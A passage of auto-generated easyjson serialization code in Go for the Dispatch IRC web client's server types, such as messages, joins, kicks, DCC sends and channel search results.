v21) } out.RawByte(']') } } if in.Prepend { const prefix string = ",\"prepend\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Bool(bool(in.Prepend)) } if in.Next != "" { const prefix string = ",\"next\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Next)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Messages) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer17(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Messages) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer17(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Messages) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer17(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Messages) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer17(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer18(in *jlexer.Lexer, out *Message) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "network": out.Network = string(in.String()) case "from": out.From = string(in.String()) case "to": out.To = string(in.String()) case "content": out.Content = string(in.String()) case "type": out.Type = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer18(out *jwriter.Writer, in Message) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Network != "" { const prefix string = ",\"network\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Network)) } if in.From != "" { const prefix string = ",\"from\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.From)) } if in.To != "" { const prefix string = ",\"to\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.To)) } if in.Content != "" { const prefix string = ",\"content\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Content)) } if in.Type != "" { const prefix string = ",\"type\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Type)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Message) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer18(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Message) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer18(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Message) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer18(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Message) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer18(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer19(in *jlexer.Lexer, out *MOTD) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "title": out.Title = string(in.String()) case "content": if in.IsNull() { in.Skip() out.Content = nil } else { in.Delim('[') if out.Content == nil { if !in.IsDelim(']') { out.Content = make([]string, 0, 4) } else { out.Content = []string{} } } else { out.Content = (out.Content)[:0] } for !in.IsDelim(']') { var v22 string v22 = string(in.String()) out.Content = append(out.Content, v22) in.WantComma() } in.Delim(']') } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer19(out *jwriter.Writer, in MOTD) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Title != "" { const prefix string = ",\"title\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Title)) } if len(in.Content) != 0 { const prefix string = ",\"content\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v23, v24 := range in.Content { if v23 > 0 { out.RawByte(',') } out.String(string(v24)) } out.RawByte(']') } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v MOTD) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer19(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v MOTD) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer19(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *MOTD) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer19(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *MOTD) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer19(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer20(in *jlexer.Lexer, out *Kick) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "sender": out.Sender = string(in.String()) case "user": out.User = string(in.String()) case "reason": out.Reason = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer20(out *jwriter.Writer, in Kick) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if in.Sender != "" { const prefix string = ",\"sender\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Sender)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } if in.Reason != "" { const prefix string = ",\"reason\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Reason)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Kick) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer20(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Kick) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer20(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Kick) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer20(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Kick) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer20(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer21(in *jlexer.Lexer, out *Join) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "user": out.User = string(in.String()) case "channels": if in.IsNull() { in.Skip() out.Channels = nil } else { in.Delim('[') if out.Channels == nil { if !in.IsDelim(']') { out.Channels = make([]string, 0, 4) } else { out.Channels = []string{} } } else { out.Channels = (out.Channels)[:0] } for !in.IsDelim(']') { var v25 string v25 = string(in.String()) out.Channels = append(out.Channels, v25) in.WantComma() } in.Delim(']') } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer21(out *jwriter.Writer, in Join) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } if len(in.Channels) != 0 { const prefix string = ",\"channels\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v26, v27 := range in.Channels { if v26 > 0 { out.RawByte(',') } out.String(string(v27)) } out.RawByte(']') } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Join) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer21(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Join) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer21(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Join) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer21(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Join) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer21(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer22(in *jlexer.Lexer, out *Invite) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "user": out.User = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer22(out *jwriter.Writer, in Invite) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Invite) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer22(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Invite) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer22(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Invite) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer22(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Invite) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer22(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer23(in *jlexer.Lexer, out *IRCError) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "target": out.Target = string(in.String()) case "message": out.Message = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer23(out *jwriter.Writer, in IRCError) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Target != "" { const prefix string = ",\"target\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Target)) } if in.Message != "" { const prefix string = ",\"message\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Message)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v IRCError) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer23(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v IRCError) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer23(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *IRCError) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer23(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *IRCError) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer23(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer24(in *jlexer.Lexer, out *FetchMessages) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "next": out.Next = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer24(out *jwriter.Writer, in FetchMessages) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Channel != "" { const prefix string = ",\"channel\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Channel)) } if in.Next != "" { const prefix string = ",\"next\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Next)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v FetchMessages) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer24(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v FetchMessages) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer24(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *FetchMessages) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer24(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *FetchMessages) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer24(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer25(in *jlexer.Lexer, out *Features) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "features": if in.IsNull() { in.Skip() } else { in.Delim('{') if !in.IsDelim('}') { out.Features = make(map[string]interface{}) } else { out.Features = nil } for !in.IsDelim('}') { key := string(in.String()) in.WantColon() var v28 interface{} if m, ok := v28.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := v28.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { v28 = in.Interface() } (out.Features)[key] = v28 in.WantComma() } in.Delim('}') } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer25(out *jwriter.Writer, in Features) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if len(in.Features) != 0 { const prefix string = ",\"features\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('{') v29First := true for v29Name, v29Value := range in.Features { if v29First { v29First = false } else { out.RawByte(',') } out.String(string(v29Name)) out.RawByte(':') if m, ok := v29Value.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := v29Value.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(v29Value)) } } out.RawByte('}') } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Features) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer25(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Features) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer25(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Features) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Features) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer25(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer26(in *jlexer.Lexer, out *Error) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "message": out.Message = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer26(out *jwriter.Writer, in Error) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Message != "" { const prefix string = ",\"message\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Message)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Error) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer26(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Error) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer26(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Error) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer26(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Error) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer26(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer27(in *jlexer.Lexer, out *DCCSend) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "from": out.From = string(in.String()) case "filename": out.Filename = string(in.String()) case "url": out.URL = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer27(out *jwriter.Writer, in DCCSend) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.From != "" { const prefix string = ",\"from\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.From)) } if in.Filename != "" { const prefix string = ",\"filename\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Filename)) } if in.URL != "" { const prefix string = ",\"url\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.URL)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v DCCSend) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer27(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v DCCSend) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer27(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *DCCSend) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer27(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *DCCSend) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer27(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer28(in *jlexer.Lexer, out *ConnectionUpdate) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "connected": out.Connected = bool(in.Bool()) case "error": out.Error = string(in.String()) case "errorType": out.ErrorType = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer28(out *jwriter.Writer, in ConnectionUpdate) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.Connected { const prefix string = ",\"connected\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Bool(bool(in.Connected)) } if in.Error != "" { const prefix string = ",\"error\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Error)) } if in.ErrorType != "" { const prefix string = ",\"errorType\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.ErrorType)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v ConnectionUpdate) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer28(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v ConnectionUpdate) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer28(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *ConnectionUpdate) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer28(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *ConnectionUpdate) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer28(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer29(in *jlexer.Lexer, out *ClientCert) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "cert": out.Cert = string(in.String()) case "key": out.Key = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer29(out *jwriter.Writer, in ClientCert) { out.RawByte('{') first := true _ = first if in.Cert != "" { const prefix string = ",\"cert\":" first = false out.RawString(prefix[1:]) out.String(string(in.Cert)) } if in.Key != "" { const prefix string = ",\"key\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Key)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v ClientCert) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer29(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v ClientCert) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer29(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *ClientCert) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer29(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *ClientCert) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer29(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer30(in *jlexer.Lexer, out *ChannelSearchResult) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "results": if in.IsNull() { in.Skip() out.Results = nil } else { in.Delim('[') if out.Results == nil { if !in.IsDelim(']') { out.Results = make([]*storage.ChannelListItem, 0, 8) } else { out.Results = []*storage.ChannelListItem{} } } else { out.Results = (out.Results)[:0] } for !in.IsDelim(']') { var v30 *storage.ChannelListItem if in.IsNull() { in.Skip() v30 = nil } else { if v30 == nil { v30 = new(storage.ChannelListItem) } easyjson42239ddeDecodeGithubComKhliengDispatchStorage2(in, v30) } out.Results = append(out.Results, v30) in.WantComma() } in.Delim(']') } case "network": out.Network = string(in.String()) case "q": out.Q = string(in.String()) case "start": out.Start = int(in.Int()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer30(out *jwriter.Writer, in ChannelSearchResult) { out.RawByte('{') first := true _ = first if len(in.Results) != 0 { const prefix string = ",\"results\":" first = false out.RawString(prefix[1:]) { out.RawByte('[') for v31, v32 := range in.Results { if v31 > 0 { out.RawByte(',') } if v32 == nil { out.RawString("null") } else { easyjson42239ddeEncodeGithubComKhliengDispatchStorage2(out, *v32) } } out.RawByte(']') } } if in.Network != "" { const prefix string = ",\"network\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Network)) } if in.Q != "" { const prefix string = ",\"q\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Q)) } if in.Start != 0 { const prefix string = ",\"start\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Start)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v ChannelSearchResult) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer30(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v ChannelSearchResult) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer30(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *ChannelSearchResult) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer30(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *ChannelSearchResult) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer30(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchStorage2(in *jlexer.Lexer, out *storage.ChannelListItem) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "name": out.Name = string(in.String()) case "userCount": out.UserCount = int(in.Int()) case "topic": out.Topic = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchStorage2(out *jwriter.Writer, in storage.ChannelListItem) { out.RawByte('{') first := true _ = first if in.Name != "" { const prefix string = ",\"name\":" first = false out.RawString(prefix[1:]) out.String(string(in.Name)) } if in.UserCount != 0 { const prefix string = ",\"userCount\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.UserCount)) } if in.Topic != "" { const prefix string = ",\"topic\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Topic)) } 